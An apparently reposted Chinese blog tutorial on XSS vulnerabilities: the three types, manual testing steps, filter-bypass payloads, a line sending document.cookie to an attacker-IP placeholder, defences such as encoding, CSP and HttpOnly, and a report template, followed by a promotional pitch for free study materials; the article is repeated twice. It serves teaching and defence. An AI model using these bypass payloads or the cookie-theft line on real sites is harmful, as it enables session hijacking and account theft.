尧图网页设计 
XSS 漏洞分类、测试方法与防御方案前言在 Web 安全领域中XSS跨站脚本攻击Cross-Site Scripting是出现频率最高、覆盖范围最广、业务关联性最强的漏洞之一。相比于 SQL 注入、文件上传这类高危漏洞XSS 漏洞门槛更低、更容易被忽略、在各类业务场景中大量存在也是 SRC 漏洞挖掘、CTF Web 题型、面试必考的核心知识点。很多新手对 XSS 的认知只停留在弹窗alert(1)认为只要能弹窗就是漏洞不能区分存储型、反射型、DOM 型不懂过滤绕过、不懂测试思路、不懂真实危害与修复方式。本文将从零系统讲解 XSS 完整知识体系XSS 底层原理、三大类型深度区分、全套手工测试流程、常用 Payload、各类过滤绕过技巧、真实业务危害、完整防御方案、面试高频考点全文干货拉满、步骤清晰、适合零基础入门、面试背诵、实战挖洞。⚠️ 安全免责声明本文所有技术内容仅用于授权安全测试、网络安全学习、靶场实训。禁止在未授权网站、公网业务系统进行 XSS 测试违规测试属于违法行为一切违规操作由操作者自行承担法律责任。一、XSS 漏洞核心原理1.1 什么是 XSSXSS 全称跨站脚本攻击原理简单概括网站接收用户可控输入未做过滤、转义、编码直接将用户输入内容输出到前端页面渲染导致恶意 JS 代码被浏览器解析执行。不同于 SQL 注入攻击服务器数据库XSS 攻击的是用户浏览器。攻击者注入 JavaScript 代码当受害者访问页面时浏览器执行恶意脚本实现窃取信息、劫持会话、钓鱼、挂马等攻击。1.2 XSS 漏洞成立的两个必要条件用户输入可控URL 参数、搜索框、评论区、用户名、公告内容、前端展示字段均可自定义输入输出到页面无净化输入内容直接打印在网页源代码中未做 HTML 实体编码、未过滤标签、未过滤事件。1.3 XSS 与其他漏洞的本质区别SQL 注入攻击服务器数据库文件上传攻击服务器权限XSS攻击用户浏览器、用户会话、用户隐私二、XSS 三大类型详解必考核心XSS 严格分为三类反射型 XSS、存储型 XSS、DOM 型 XSS三者漏洞原理、危害、触发方式、测试方式完全不同面试、漏洞报告必须严格区分。2.1 反射型 XSS非持久型 XSS原理用户输入的恶意代码仅单次反射、即时执行、不会存入服务器数据库。数据流程用户输入 → 服务器接收 → 立即回显页面 → 执行 JS。触发方式需要诱导用户点击构造好的恶意链接才能触发。典型场景URL 参数回显、搜索内容回显、页面跳转参数、错误提示参数。特点一次性、非持久、不会保存后台需要社工诱导点击链接危害中等主要用于窃取 Cookie、钓鱼。示例漏洞链接http://127.0.0.1/test.php?msgscriptalert(1)/script页面直接输出 msg 内容弹窗触发 XSS。2.2 存储型 XSS持久型 XSS —— 高危原理用户输入的恶意代码存入服务器数据库、文件、缓存永久保存。任意用户访问对应页面时恶意代码自动加载执行。典型场景文章评论、留言板、个人简介、昵称、公告发布、订单备注、后台内容管理。特点永久持久化存入数据库无需每次构造链接全自动触发所有访问用户全部中招危害最高属于高危漏洞无需社工挂马、批量偷取用户 Cookie、批量劫持会话。攻击流程攻击者提交恶意脚本入库 → 普通用户访问页面 → 加载恶意 JS → 窃取用户数据。2.3 DOM 型 XSS前端 XSS原理数据不经过服务器后端完全在前端通过 JS 动态获取参数、渲染页面。后端无接收、无存储、无处理纯前端逻辑缺陷导致 XSS。区别重点反射 / 存储 XSS服务器输出恶意代码DOM XSS前端 JS 解析恶意代码典型前端危险函数document.write() innerHTML outerHTML eval() setTimeout() location.href特点数据包无恶意代码回显抓包看不到 payload属于前端渲染漏洞WAF 很难拦截隐蔽性最强实战挖洞高频大多数新手容易漏测。三、XSS 完整手工测试流程实战通用3.1 寻找 XSS 测试点所有用户输入、页面回显、参数输出位置全部测试URL GET 参数?id?search?msgPOST 表单用户名、备注、留言、搜索框头部参数Referer、User-Agent、Cookie部分后台展示 UA前端动态渲染位置DOM 读取参数展示内容3.2 标准测试步骤输入测试 payload特殊符号查看网页源代码观察是否被转义 / 过滤未转义则继续构造完整 XSS 语句判断属于反射型 / 存储型 / DOM 型测试过滤绕过成功弹窗即存在漏洞3.3 基础通用 Payload入门必用scriptalert(1)/script img srcx onerroralert(1) a hrefjavascript:alert(1)click/a四、XSS 高阶 Payload 与绕过方式实战高频很多网站会过滤script、alert、空格等关键字需要掌握基础绕过手段。4.1 标签替换绕过过滤 scriptimg srcx onerroralert(1) body onloadalert(1) svg onloadalert(1)4.2 大小写绕过前端过滤不区分大小写SCRIPTalert(1)/SCRIPT ImG srcx onerroralert(1)4.3 空格、换行绕过过滤空格使用换行、Tab 代替空格img srcx onerroralert(1)4.4 编码绕过HTML 实体编码、Unicode 编码将字符编码前端解析自动还原执行#108;#111;#99;#97;#116;#105;#111;#110;4.5 弹窗函数绕过过滤 alertconfirm() prompt()4.6 伪协议绕过javascript:alert(1) vbscript:alert(1)五、真实 XSS 攻击危害不止弹窗弹窗只是证明漏洞存在的验证手段真实危害极大盗取用户 Cookie获取用户登录凭证直接登录受害者账号劫持用户会话。scriptdocument.locationhttp://攻击者IP/steal.php?cdocument.cookie/script劫持页面、挂黑页、篡改网站内容篡改页面文案、伪造公告、诱导用户转账、泄露信息。钓鱼攻击伪造登录框骗取用户账号密码、手机号、验证码。植入挖矿脚本、恶意广告利用用户浏览器资源挖矿、刷流量。配合内网穿透、获取内网信息读取本地存储、探测内网 IP、进一步渗透。存储型 XSS 批量攻击全站用户访问即中招造成大规模用户信息泄露。六、三种 XSS 漏洞详细对比面试必背漏洞类型存储方式触发条件危害等级触发位置反射型 XSS不入库、临时点击恶意链接中危服务器渲染存储型 XSS存入数据库永久保存访问页面自动触发高危服务器渲染DOM 型 XSS不经过后端访问恶意链接中高危前端 JS 渲染七、DOM XSS 专项测试方法新手最容易漏7.1 识别 DOM XSS 特征抓包数据包无恶意内容页面却可以弹窗页面 JS 直接读取 URL 参数location.search、location.hash使用 innerHTML、document.write 动态输出内容。7.2 DOM XSS 测试 Payload# 截断原有标签构造新事件 ?name/divimg srcx onerroralert(1) # hash 绕过很多后端不记录 hash 值 #img srcx onerroralert(1)八、XSS 全方位防御方案开发 / 渗透报告必备XSS 防御没有单一万能方案必须前后端双层防御、多维度防护。8.1 核心防御前端输出编码最有效所有用户可控输出到页面的内容统一进行HTML 实体编码转lt;转gt;转quot;转#39;转amp;编码后恶意标签会变成普通文本无法被浏览器解析执行。8.2 后端严格过滤过滤危险标签script、iframe、svg、onerror、onload、javascript过滤特殊事件、伪协议禁止用户输入可执行脚本内容8.3 开启 CSP 内容安全策略CSP 是 XSS 终极防护手段限制页面仅加载可信域名资源、禁止行内 JS、禁止 eval 执行。响应头配置Content-Security-Policy: default-src self有效阻止绝大部分 XSS 执行。8.4 Cookie 安全加固设置 Cookie 属性HttpOnly、Secure、SameSite防止 JS 读取 Cookie就算出现 XSS 也无法盗取会话凭证。8.5 输入白名单校验对于固定格式输入手机号、账号、ID使用白名单严格匹配拒绝非常规字符。8.6 前端渲染安全规范禁止使用危险函数innerHTML、document.write、eval()优先使用innerText纯文本渲染不解析 HTML 标签。8.7 WAF 防护部署 Web 应用防火墙拦截常见 XSS 特征 payload。九、实战常见误区新手高频踩坑❌ 误区 1弹窗 高危漏洞弹窗只是验证漏洞存储型才是高危反射型默认中危。❌ 误区 2所有 XSS 都需要数据库存储DOM 型、反射型不需要入库。❌ 误区 3抓包看不到数据就不存在 XSSDOM XSS 前端渲染抓包看不到 payload。❌ 误区 4过滤 script 就安全攻击者可以用 img、svg、body 等标签绕过。❌ 误区 5只过滤小写字符未做大小写统一可大小写绕过。十、漏洞报告标准模板漏洞名称反射型 XSS 漏洞 / 存储型 XSS 漏洞漏洞描述网站参数未做 HTML 编码与恶意标签过滤用户可控参数直接输出页面渲染存在 XSS 跨站脚本漏洞。攻击者可构造恶意链接诱导用户点击执行任意 JS 脚本窃取用户 Cookie、劫持账号、实施钓鱼攻击。复现步骤访问页面可控参数点构造 XSS Payload 传入参数页面成功执行 JS 弹窗漏洞验证成功。漏洞危害窃取用户登录凭证、劫持用户会话、钓鱼诈骗、篡改页面内容、批量用户信息泄露。修复建议前端输出全部做 HTML 实体编码后端过滤恶意标签与脚本事件配置 CSP 安全策略Cookie 配置 HttpOnly 属性。结尾XSS 是 Web 安全最基础、最重要、覆盖面最广的漏洞之一。相比于 SQL 注入、文件上传XSS 更贴近业务、更容易出现、更考验细节思维。学习 XSS 不要只会弹窗重点区分三类漏洞、掌握绕过思路、理解真实危害、熟记防御方案。在真实 SRC 挖掘中存储型 XSS 分值极高、DOM XSS 最容易捡漏是安全选手必备核心能力。本文覆盖了 XSS 原理、分类、测试、绕过、危害、防御全套体系可直接用于刷题、面试、挖洞、写报告。后续会继续更新 Web 安全全套漏洞教程CSRF、SSRF、文件包含、逻辑漏洞等欢迎点赞收藏持续学习如何系统学习网络安全网络安全作为数字时代的核心技术基石已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。构建稳固的网络安全能力是一个体系的工程需要从夯实基础理论出发持续深化到攻防对抗与应急响应的实战层面。如果你是准备学习网络安全黑客或者正在学习我可以把我自用的360独家内部资料分享给你包含以下内容你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】 XSS 漏洞分类、测试方法与防御方案
XSS 漏洞分类、测试方法与防御方案前言在 Web 安全领域中XSS跨站脚本攻击Cross-Site Scripting是出现频率最高、覆盖范围最广、业务关联性最强的漏洞之一。相比于 SQL 注入、文件上传这类高危漏洞XSS 漏洞门槛更低、更容易被忽略、在各类业务场景中大量存在也是 SRC 漏洞挖掘、CTF Web 题型、面试必考的核心知识点。很多新手对 XSS 的认知只停留在弹窗alert(1)认为只要能弹窗就是漏洞不能区分存储型、反射型、DOM 型不懂过滤绕过、不懂测试思路、不懂真实危害与修复方式。本文将从零系统讲解 XSS 完整知识体系XSS 底层原理、三大类型深度区分、全套手工测试流程、常用 Payload、各类过滤绕过技巧、真实业务危害、完整防御方案、面试高频考点全文干货拉满、步骤清晰、适合零基础入门、面试背诵、实战挖洞。⚠️ 安全免责声明本文所有技术内容仅用于授权安全测试、网络安全学习、靶场实训。禁止在未授权网站、公网业务系统进行 XSS 测试违规测试属于违法行为一切违规操作由操作者自行承担法律责任。一、XSS 漏洞核心原理1.1 什么是 XSSXSS 全称跨站脚本攻击原理简单概括网站接收用户可控输入未做过滤、转义、编码直接将用户输入内容输出到前端页面渲染导致恶意 JS 代码被浏览器解析执行。不同于 SQL 注入攻击服务器数据库XSS 攻击的是用户浏览器。攻击者注入 JavaScript 代码当受害者访问页面时浏览器执行恶意脚本实现窃取信息、劫持会话、钓鱼、挂马等攻击。1.2 XSS 漏洞成立的两个必要条件用户输入可控URL 参数、搜索框、评论区、用户名、公告内容、前端展示字段均可自定义输入输出到页面无净化输入内容直接打印在网页源代码中未做 HTML 实体编码、未过滤标签、未过滤事件。1.3 XSS 与其他漏洞的本质区别SQL 注入攻击服务器数据库文件上传攻击服务器权限XSS攻击用户浏览器、用户会话、用户隐私二、XSS 三大类型详解必考核心XSS 严格分为三类反射型 XSS、存储型 XSS、DOM 型 XSS三者漏洞原理、危害、触发方式、测试方式完全不同面试、漏洞报告必须严格区分。2.1 反射型 XSS非持久型 XSS原理用户输入的恶意代码仅单次反射、即时执行、不会存入服务器数据库。数据流程用户输入 → 服务器接收 → 立即回显页面 → 执行 JS。触发方式需要诱导用户点击构造好的恶意链接才能触发。典型场景URL 参数回显、搜索内容回显、页面跳转参数、错误提示参数。特点一次性、非持久、不会保存后台需要社工诱导点击链接危害中等主要用于窃取 Cookie、钓鱼。示例漏洞链接http://127.0.0.1/test.php?msgscriptalert(1)/script页面直接输出 msg 内容弹窗触发 XSS。2.2 存储型 XSS持久型 XSS —— 高危原理用户输入的恶意代码存入服务器数据库、文件、缓存永久保存。任意用户访问对应页面时恶意代码自动加载执行。典型场景文章评论、留言板、个人简介、昵称、公告发布、订单备注、后台内容管理。特点永久持久化存入数据库无需每次构造链接全自动触发所有访问用户全部中招危害最高属于高危漏洞无需社工挂马、批量偷取用户 Cookie、批量劫持会话。攻击流程攻击者提交恶意脚本入库 → 普通用户访问页面 → 加载恶意 JS → 窃取用户数据。2.3 DOM 型 XSS前端 XSS原理数据不经过服务器后端完全在前端通过 JS 动态获取参数、渲染页面。后端无接收、无存储、无处理纯前端逻辑缺陷导致 XSS。区别重点反射 / 存储 XSS服务器输出恶意代码DOM XSS前端 JS 解析恶意代码典型前端危险函数document.write() innerHTML outerHTML eval() setTimeout() location.href特点数据包无恶意代码回显抓包看不到 payload属于前端渲染漏洞WAF 很难拦截隐蔽性最强实战挖洞高频大多数新手容易漏测。三、XSS 完整手工测试流程实战通用3.1 寻找 XSS 测试点所有用户输入、页面回显、参数输出位置全部测试URL GET 参数?id?search?msgPOST 表单用户名、备注、留言、搜索框头部参数Referer、User-Agent、Cookie部分后台展示 UA前端动态渲染位置DOM 读取参数展示内容3.2 标准测试步骤输入测试 payload特殊符号查看网页源代码观察是否被转义 / 过滤未转义则继续构造完整 XSS 语句判断属于反射型 / 存储型 / DOM 型测试过滤绕过成功弹窗即存在漏洞3.3 基础通用 Payload入门必用scriptalert(1)/script img srcx onerroralert(1) a hrefjavascript:alert(1)click/a四、XSS 高阶 Payload 与绕过方式实战高频很多网站会过滤script、alert、空格等关键字需要掌握基础绕过手段。4.1 标签替换绕过过滤 scriptimg srcx onerroralert(1) body onloadalert(1) svg onloadalert(1)4.2 大小写绕过前端过滤不区分大小写SCRIPTalert(1)/SCRIPT ImG srcx onerroralert(1)4.3 空格、换行绕过过滤空格使用换行、Tab 代替空格img srcx onerroralert(1)4.4 编码绕过HTML 实体编码、Unicode 编码将字符编码前端解析自动还原执行#108;#111;#99;#97;#116;#105;#111;#110;4.5 弹窗函数绕过过滤 alertconfirm() prompt()4.6 伪协议绕过javascript:alert(1) vbscript:alert(1)五、真实 XSS 攻击危害不止弹窗弹窗只是证明漏洞存在的验证手段真实危害极大盗取用户 Cookie获取用户登录凭证直接登录受害者账号劫持用户会话。scriptdocument.locationhttp://攻击者IP/steal.php?cdocument.cookie/script劫持页面、挂黑页、篡改网站内容篡改页面文案、伪造公告、诱导用户转账、泄露信息。钓鱼攻击伪造登录框骗取用户账号密码、手机号、验证码。植入挖矿脚本、恶意广告利用用户浏览器资源挖矿、刷流量。配合内网穿透、获取内网信息读取本地存储、探测内网 IP、进一步渗透。存储型 XSS 批量攻击全站用户访问即中招造成大规模用户信息泄露。六、三种 XSS 漏洞详细对比面试必背漏洞类型存储方式触发条件危害等级触发位置反射型 XSS不入库、临时点击恶意链接中危服务器渲染存储型 XSS存入数据库永久保存访问页面自动触发高危服务器渲染DOM 型 XSS不经过后端访问恶意链接中高危前端 JS 渲染七、DOM XSS 专项测试方法新手最容易漏7.1 识别 DOM XSS 特征抓包数据包无恶意内容页面却可以弹窗页面 JS 直接读取 URL 参数location.search、location.hash使用 innerHTML、document.write 动态输出内容。7.2 DOM XSS 测试 Payload# 截断原有标签构造新事件 ?name/divimg srcx onerroralert(1) # hash 绕过很多后端不记录 hash 值 #img srcx onerroralert(1)八、XSS 全方位防御方案开发 / 渗透报告必备XSS 防御没有单一万能方案必须前后端双层防御、多维度防护。8.1 核心防御前端输出编码最有效所有用户可控输出到页面的内容统一进行HTML 实体编码转lt;转gt;转quot;转#39;转amp;编码后恶意标签会变成普通文本无法被浏览器解析执行。8.2 后端严格过滤过滤危险标签script、iframe、svg、onerror、onload、javascript过滤特殊事件、伪协议禁止用户输入可执行脚本内容8.3 开启 CSP 内容安全策略CSP 是 XSS 终极防护手段限制页面仅加载可信域名资源、禁止行内 JS、禁止 eval 执行。响应头配置Content-Security-Policy: default-src self有效阻止绝大部分 XSS 执行。8.4 Cookie 安全加固设置 Cookie 属性HttpOnly、Secure、SameSite防止 JS 读取 Cookie就算出现 XSS 也无法盗取会话凭证。8.5 输入白名单校验对于固定格式输入手机号、账号、ID使用白名单严格匹配拒绝非常规字符。8.6 前端渲染安全规范禁止使用危险函数innerHTML、document.write、eval()优先使用innerText纯文本渲染不解析 HTML 标签。8.7 WAF 防护部署 Web 应用防火墙拦截常见 XSS 特征 payload。九、实战常见误区新手高频踩坑❌ 误区 1弹窗 高危漏洞弹窗只是验证漏洞存储型才是高危反射型默认中危。❌ 误区 2所有 XSS 都需要数据库存储DOM 型、反射型不需要入库。❌ 误区 3抓包看不到数据就不存在 XSSDOM XSS 前端渲染抓包看不到 payload。❌ 误区 4过滤 script 就安全攻击者可以用 img、svg、body 等标签绕过。❌ 误区 5只过滤小写字符未做大小写统一可大小写绕过。十、漏洞报告标准模板漏洞名称反射型 XSS 漏洞 / 存储型 XSS 漏洞漏洞描述网站参数未做 HTML 编码与恶意标签过滤用户可控参数直接输出页面渲染存在 XSS 跨站脚本漏洞。攻击者可构造恶意链接诱导用户点击执行任意 JS 脚本窃取用户 Cookie、劫持账号、实施钓鱼攻击。复现步骤访问页面可控参数点构造 XSS Payload 传入参数页面成功执行 JS 弹窗漏洞验证成功。漏洞危害窃取用户登录凭证、劫持用户会话、钓鱼诈骗、篡改页面内容、批量用户信息泄露。修复建议前端输出全部做 HTML 实体编码后端过滤恶意标签与脚本事件配置 CSP 安全策略Cookie 配置 HttpOnly 属性。结尾XSS 是 Web 安全最基础、最重要、覆盖面最广的漏洞之一。相比于 SQL 注入、文件上传XSS 更贴近业务、更容易出现、更考验细节思维。学习 XSS 不要只会弹窗重点区分三类漏洞、掌握绕过思路、理解真实危害、熟记防御方案。在真实 SRC 挖掘中存储型 XSS 分值极高、DOM XSS 最容易捡漏是安全选手必备核心能力。本文覆盖了 XSS 原理、分类、测试、绕过、危害、防御全套体系可直接用于刷题、面试、挖洞、写报告。后续会继续更新 Web 安全全套漏洞教程CSRF、SSRF、文件包含、逻辑漏洞等欢迎点赞收藏持续学习如何系统学习网络安全网络安全作为数字时代的核心技术基石已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。构建稳固的网络安全能力是一个体系的工程需要从夯实基础理论出发持续深化到攻防对抗与应急响应的实战层面。如果你是准备学习网络安全黑客或者正在学习我可以把我自用的360独家内部资料分享给你包含以下内容你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】